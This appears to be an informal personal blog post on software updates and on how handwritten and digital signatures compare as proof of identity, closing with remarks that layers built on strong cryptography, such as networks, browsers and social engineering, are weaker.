
Software updates are something that many people don’t know much about.  Time and time again I talk to people who are oblivious to their importance, which seems reasonable for someone who isn’t familiar with software and security.

 

There’s also a lot of interesting research right now on how 0day’s are very very rare.  So rare that we shouldn’t even worry about them.  What’s not rare is un-patched computers, and automated attacks.

 

My website is currently up here, but right now it’s a little bit broken. 🙂

 

Handwritten Signatures vs. Digital Signatures.

 

Handwritten signatures are an interesting idea.  Since it is something we reproduce over and over, it will always be slightly different.  Even if I try my hardest 100 times and take the two which look the closest to my eye, a computer could probably distinguish between each and every one of them.  Just in the nature of how pens and paper work- the correlation between the amount of ink coming out of the pen versus how hard you press, the smoothness of the stroke versus how quickly you drag the tip of the pen across the paper- a signature is inherently unique every time it is made.  How are we feeling that day? Did the signatory feel weak and sluggish, or vigilant and precise? These things will all play a role into how a signature can vary on a given day relative to what it has looked like previously (and what it looks like ideally to the signatory).

Beyond using evidence like other handwritten language on other parts of a piece of paper which is signed, it is hard to be certain that this signature is not fraudulent. Some more obvious proofs of ownership can be unreasonable requirements in certain circumstances signatures are needed in, such as watching someone sign their name.  If you see them do it, you can be certain it was the person who was standing there who signed it.

After looking at these aspects of handwritten signatures, I’m reminded of something I heard recently at a monthly Bay Area chapter meeting of TOOOL (The Open Organization Of Lockpickers), which can be generalized to include signatures: “Locks [in reference to cheap master locks] are only a protection against honest people”.  That is to say, a signature is not a fool proof method.  They can be faked.  I think the ways in which signatures are used today pushes the envelope of their power.  The accountability that a Financial Accountant has for company records which their handwritten signature is on can leave them in federal prison for years if they are false.

Digital Signatures are somewhat different.  They use cryptography to help prove the identity of the signatory.  They are more of an assertion along the lines of “I am John Doe because I can provide some special information to you that everyone knows only John Doe can compute…”. As long as people keep their private keys safe (which is a lot to ask in a world where 15 year old British teenagers are dumping government databases using fully-automated SQLi fuzzing!)

So for the pessimist or luddite, in this sense, digital signatures do not provide any advantage over handwritten signatures.  How can we be sure at any given moment that John Doe’s private key is still safe and has not been compromised?  If it was compromised, did he detect it? We can’t be sure.

One of my main gripes about RSA is this (I promise this relates back to signatures): Ok.  So we have this absolutely amazing crypto algorithm.  It kicks all kinds of ass.  The underlying protocol to our communication is strong, and unfeasibly breakable.  But the layers built on top of it are less secure.  Our connections can be MITM’ed on the LAN.  Browser sandbox exploits are commonplace today.  This problem can be seen from the perspective of digital signatures.  The underlying infrastructure to our signature is strong, however social engineering is often one of the easiest attack vectors to exploit, and physical security is not far behind it.